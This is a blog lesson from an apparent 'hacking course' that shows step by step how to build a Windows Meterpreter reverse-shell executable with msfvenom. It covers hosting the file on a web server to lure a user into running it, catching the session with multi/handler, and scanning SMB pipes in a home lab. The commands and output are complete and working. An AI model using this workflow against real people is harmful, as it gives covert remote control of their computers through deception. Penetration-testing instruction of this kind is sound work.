14 Creating Standalone Payloads with Msfvenom, Free Hacking Complete Course Step By Step

Free Hacking Complete Course Step By Step

Creating Standalone Payloads with Msfvenom

In 2011, Msfvenom was added to Metasploit. Before Msfvenom, the tools Msfpayload and Msfencode could be used together to create standalone encoded Metasploit payloads in a variety of output formats, such as Windows executables and ASP pages. With the introduction of Msfvenom, the functionality of Msfpayload and Msfencode was combined into a single tool, though Msfpayload and Msfencode are still included in Metasploit. To view Msfvenom’s help page, enter msfvenom -h.

So far with Metasploit, our goal has been to exploit a vulnerability in the target system and take control of the machine. Now we’ll do something a little different. Instead of relying on a missing patch or another security issue, we are hoping to exploit the one security issue that may never be fully patched: the users. Msfvenom allows you to build standalone payloads to run on a target system in an attempt to exploit the user whether through a social-engineering attack or by uploading a payload to a vulnerable server, as we’ll see in future blogs. When all else fails, the user can often be a way in.

Choosing a Payload

To list all the available payloads, enter msfvenom -l payloads. We’ll use one of Metasploit’s Meterpreter payloads, windows/meterpreter/reverse_tcp, which provides a reverse connection with a Meterpreter shell. Use -p to select a payload.

Setting Options

To see the correct options to use for a module, enter the -o flag after selecting a payload, as shown in Listing

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -o

[*] Options for payload/windows/meterpreter/reverse_tcp

Name                   Current Setting             Required      Description

EXITFUNC        process                           yes                 Exit technique: seh, thread, process,

       none

LHOST                                                      yes                  The listen to address

LPORT               4444                               yes                  The listen port

As expected, our LHOST needs to be set, and our LPORT is set to the default 4444. For practice, set LPORT to 12345 by entering LPORT=12345. We also see EXITFUNC, which we can leave as the default. Because this is a reverse connection payload, we need to set our LHOST option to tell the target machine where to connect back to (our Kali machine).

Choosing an Output Format

Now tell Msfvenom which output format to use. Will we be running this payload from a Windows executable, or do we want to make an ASP file that can be uploaded to a web server we have gained write access to? To see all available output formats, enter msfvenom --help-formats.

root@kali:~# msfvenom --help-formats

Executable formats

        asp, aspx, aspx-exe, dll, elf, exe, exe-only, exe-service, exe-small,

            loop-VBS, macho, MSI, MSI-nouac, psh, psh-net, VBA, VBA-exe, VBS, war

Transform formats

        bash, c, csharp, dw, dword, java, js_be, js_le, num, Perl, pl, Powershell,

            PSL, py, python, raw, RB, ruby, sh, vb application, VBScript

To select the output format, use the -f option along with the chosen format:

msfvenom windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=12345 -f exe

But if you run this command as is, you’ll see garbage printed on the console. While this is technically our executable payload, it doesn’t do us much good. Instead, let’s redirect the output to an executable file, blog14example.exe.

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=12345 -f exe

> blog14example.exe

root@kali:~# file blog14example.exe

blog14example.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

There is no output to the screen, but if we run the file command on our newly created executable file, we see that it’s a Windows executable that will run on any Windows system as long as a user attempts to run it. (Later, in upcoming blogs, we’ll see cases where antivirus applications stop a Metasploit payload and learn ways we can obfuscate our standalone payloads to bypass antivirus programs. Also, we will cover clever ways to lure users into downloading and running malicious payloads in upcoming blogs.)

Serving Payloads

One good way to serve up payloads is to host them on a web server, disguise them as something useful, and lure users into downloading them. For this example, we’ll host our Metasploit executable on our Kali machine’s built-in Apache server and browse to the file from our target machine.

First, run cp blog14example.exe /var/www to copy the payload executable to the Apache directory, and then make sure the webserver is started with service apache2 start.

root@kali:~# cp blog14example.exe /var/www

root@kali:~# service apache2 start

Starting web server apache2                                                                 [ OK ]

Now switch to your Windows XP target and open Internet Explorer. Browse to http://192.168.20.9/blog14example.exe and download the file. But before we run the file, we have one loose end to deal with.

So far when attempting to exploit our target machine, Metasploit set up our payload handlers and sent the exploit. When we used Msfconsole to exploit the MS08-067 vulnerability with a reverse shell payload, Metasploit first set up a handler listening on port 4444 for the reverse connection, but up to this point, we have nothing listening for a reverse connection from the payload we created with Msfvenom.

Using the Multi/Handler Module

Start Msfconsole again, and we’ll look at a Metasploit module called multi/ handler. This module allows us to set up standalone handlers, which is just what we’re lacking. We need a handler to catch our Meterpreter connection when our malicious executable is run from the Windows XP target. Select the multi/handler module with use multi/handler.

The first thing to do is tell multi/handler which of Metasploit’s many handlers we need. We need to catch the windows/meterpreter/reverse_tcp payload we used when we created our executable with Msfvenom. Choose it with set PAYLOAD windows/meterpreter/reverse_tcp, and follow it with show options.

msf > use multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(handler) > show options

Module options (exploit/multi/handler):

Name        Current Setting        Required        Description

-------        ---------------------        ------------        ---------------

Payload options (windows/meterpreter/reverse_tcp):

Name                Current Setting        Required        Description

-------                ---------------------        ------------        ---------------

EXITFUNC     process                      yes                   Exit technique: seh, thread, process,

                                                                                     none 

LHOST                                              yes                    The listen address       

LPORT           4444                           yes                    The listen port

--snip--

msf exploit(handler) >   

From here we tell Metasploit which setup we used when we created the payload. We’ll set the LHOST option to our local Kali IP address and the LPORT to the port we chose in Msfvenom, in this case 192.168.20.9 and 12345, respectively. Once all the options for the payload are set correctly, enter exploit, as shown in Listing.

msf exploit(handler) > set LHOST 192.168.20.9

LHOST => 192.168.20.9

msf exploit(handler) > set LPORT 12345

LPORT => 12345

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.20.9:12345

[*] Starting the payload handler...

As you can see, Metasploit sets up a reverse handler on port 12345 as instructed, listening for a payload to call back.

Now we can switch back to our Windows XP/7/8/10/11 target and run our downloaded executable. Run blog14example.exe on your Windows target. Back in Msfconsole, you should see that the handler receives the reverse connection, and you receive a Meterpreter session.

[*] Sending stage (752128 bytes) to 192.168.20.10

[*] Meterpreter session 1 opened (192.168.20.9:12345 -> 192.168.20.10:49437)

at 2015-09-01 11:20:00 -0400

meterpreter >

Spend some time experimenting with Msfvenom if you like. We’ll return to this useful tool when we attempt to bypass antivirus solutions in upcoming blogs.

Using an Auxiliary Module

Metasploit was first conceived as an exploitation framework, and it continues to be a top contender in the world of exploitation. But in the ensuing years, its functionality has grown in about as many directions as there are creative minds working on it. I sometimes quip that Metasploit can do everything except my laundry, and I’m currently working on a module for that.

Dirty socks aside, in addition to exploitation, Metasploit has modules to aid in every phase of pentesting. Some modules that are not used for exploitation are known as auxiliary modules; they include things like vulnerability scanners, fuzzers, and even denial of service modules. (A good rule of thumb to remember is that exploit modules use a payload and auxiliary modules do not.)

For example, when we first used the windows/smb/ms08_067_netapi exploit module earlier in this blog, one of its options was SMBPIPE. The default value for that option was BROWSER. Let’s look at an auxiliary module that will enumerate the listening pipes on an SMB server, auxiliary/scanner/ smb/pipe_auditor (Listing 4-18). (We use auxiliary modules like exploits, and like exploits we can also drop the auxiliary/ part of the module name.)

msf > use scanner/smb/pipe_auditor

msf auxiliary(pipe_auditor) > show options

Module options (auxiliary/scanner/smb/pipe_auditor):

        Name                 Current Setting       Required      Description

        --------                ---------------------      -------------     ---------------

(1)   RHOSTS                                             yes                 The target address range or CIDR identifier

       SMBDomain     WORKGROUP        no                  The Windows domain to use for                                                                                                                authentication

       SMBPass                                             no                   The password for the specified username

       SMBUser                                            no                   The username to authenticate as

       THREADS 1                                       yes                 The number of concurrent threads

The options for this module are a bit different from what we’ve seen so far. Instead of RHOST we have RHOSTS (1), which allows us to specify more than one remote host to run the module against. (Auxiliaries can be run against multiple hosts, whereas exploits can exploit only one system at a time.)

We also see options for SMBUser, SMBPass, and SMBDomain. Because our Windows XP target is not part of any domain, we can leave the SMBDomain at the default value, WORKGROUP. We can leave the SMBUser and SMBPass values blank. The THREADS option allows us to control the speed of Metasploit by having our module run in multiple threads. We’re scanning only one system in this case, so the default value of 1 thread will work fine. The only option we need to set is RHOSTS to the IP address of our Windows XP target.

msf auxiliary(pipe_auditor) > set RHOSTS 192.168.20.10

RHOSTS => 192.168.20.10

Even though we aren’t technically exploiting anything in this case, we can still tell Metasploit to run our auxiliary module by entering exploit.

msf auxiliary(pipe_auditor) > exploit

[*] 192.168.20.10 - Pipes: \browser             (1)

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(pipe_auditor) >

The module audits the listening SMB pipes on our Windows XP/7/8/10/11 target. As it turns out, the browser pipe is the only available pipe (1). Because this pipe is listening, this is the correct value for the SMBPIPE option in the windows/smb/ms08_067_netapi exploit module we used earlier in the upcoming blogs.

Updating Metasploit

The exercises in this blog are designed to work on a base install of Kali Linux 1.0.6. Naturally, many security tools used in this blog will have been updated since Kali’s release. Metasploit in particular receives regular updates from core developers as well as from the security community.

All of the material in this blog works with the Metasploit version installed on Kali 1.0.6. As you continue your career as a pentester, you’ll want the latest Metasploit modules. The Metasploit Project is typically pretty solid at releasing modules for the latest security issues circulating the Web. To pull down the latest modules from Metasploit’s GitHub, enter the following:

root@kali:~# msfupdate

Summary

In this blog we’ve gotten comfortable using some of Metasploit’s interfaces. We’ll return to Metasploit throughout the blog.

In the next few blogs we’ll simulate a penetration test against our target machines, covering a wide variety of vulnerability types. If you pursue a career in penetration testing, you will likely encounter clients spanning the gamut of possible security postures. Some will be missing so many patches across the organization that you may wonder if they have updated since installing the base image back in 2001. Along with missing patches, you may find additional vulnerabilities such as default passwords and misconfigured services. Gaining access to such networks is trivial for skilled penetration testers.

On the other hand, you may also find yourself working for clients who have patch management down pat, with everything from Windows operating systems to all third-party software on a regular patch cycle across the organization. Some clients may deploy cutting-edge security controls such as proxies that allow only Internet Explorer to call out to the Internet. This will stop even Metasploit reverse shells that call back on ports 80 or 443 and look like web traffic, unless you are able to exploit the Internet Explorer program, which may also be completely patched. You may find intrusion prevention firewalls at the perimeter that drop any string that looks even a little bit like attack traffic.

Simply throwing the MS08-067 Metasploit module at these high security networks will get you no results, except maybe a call from a network monitoring vendor with a warrant for your arrest. (Don’t worry: As part of the penetration test, you will have a get-out-of-jail-free card.) But even highly secure networks are only as strong as their weakest link. For instance, I once performed an onsite penetration test for a company that employed all of the security controls I just mentioned. However, the local administrator password on all the Windows workstations was the same five letter dictionary word. After I cracked the password, I was able to log on as an administrator on every workstation on the network. From there I was able to use something called token impersonation to gain domain administrator access. Despite all the strong security controls, with a little effort I was able to take over the network the same way I would a network with missing patches from 2003.

As you work through the rest of this blog, you will pick up not only the technical skills required to break into vulnerable systems but also the mindset required to find a way in when none seems readily apparent.

Now let’s turn our attention to gathering information about our targets so we can develop a solid plan of attack.

In our last blog we learn How Using the Metasploit Payloads (or Shellcode) our next tops will be learn about Information Gethering. If you have not followed us yet, then do so so that you do not miss the upcoming topics. Click Here To Read Our Blogs From Getting Started.